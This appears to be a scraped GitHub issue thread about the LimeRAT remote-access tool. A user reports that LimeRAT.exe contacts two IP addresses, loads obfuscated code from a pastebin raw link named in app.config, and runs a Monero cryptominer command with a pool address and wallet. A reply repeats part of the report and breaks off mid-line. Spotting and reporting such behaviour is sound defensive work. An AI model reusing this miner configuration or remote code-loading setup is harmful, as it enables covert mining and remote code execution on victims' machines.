Client makes these connections and then closes upon launching LimeRAT.exe
LimeRAT.exe 80 http 131.186.113
LimeRAT.exe 443 https 104.20.209.21
app.config contains
`
https://pastebin.com/raw/DDTVwwbu`
https://pastebin.com/raw/DDTVwwbu contains obfuscated code.
Also in app.config
`-B --donate-level=0 -a cryptonight --url=gulf.moneroocean.stream:80 -u 49H8Kbf15JFN2diG5evGHA5G49qhgFBuDid86z3MKxTv59dcqySCzFWUL3SgsEk2SufzTziHp3UE5P8BatwuyFuv1bBKQw2 -p x -R --variant=-1 --max-cpu-usage=75`
NYAN-x-CAT
commented
5 years ago
Client makes these connections and then closes upon launching LimeRAT.exe LimeRAT.exe 80 http 131.186.113
LimeRAT.exe 443 https 104.20.209.21
app.config contains `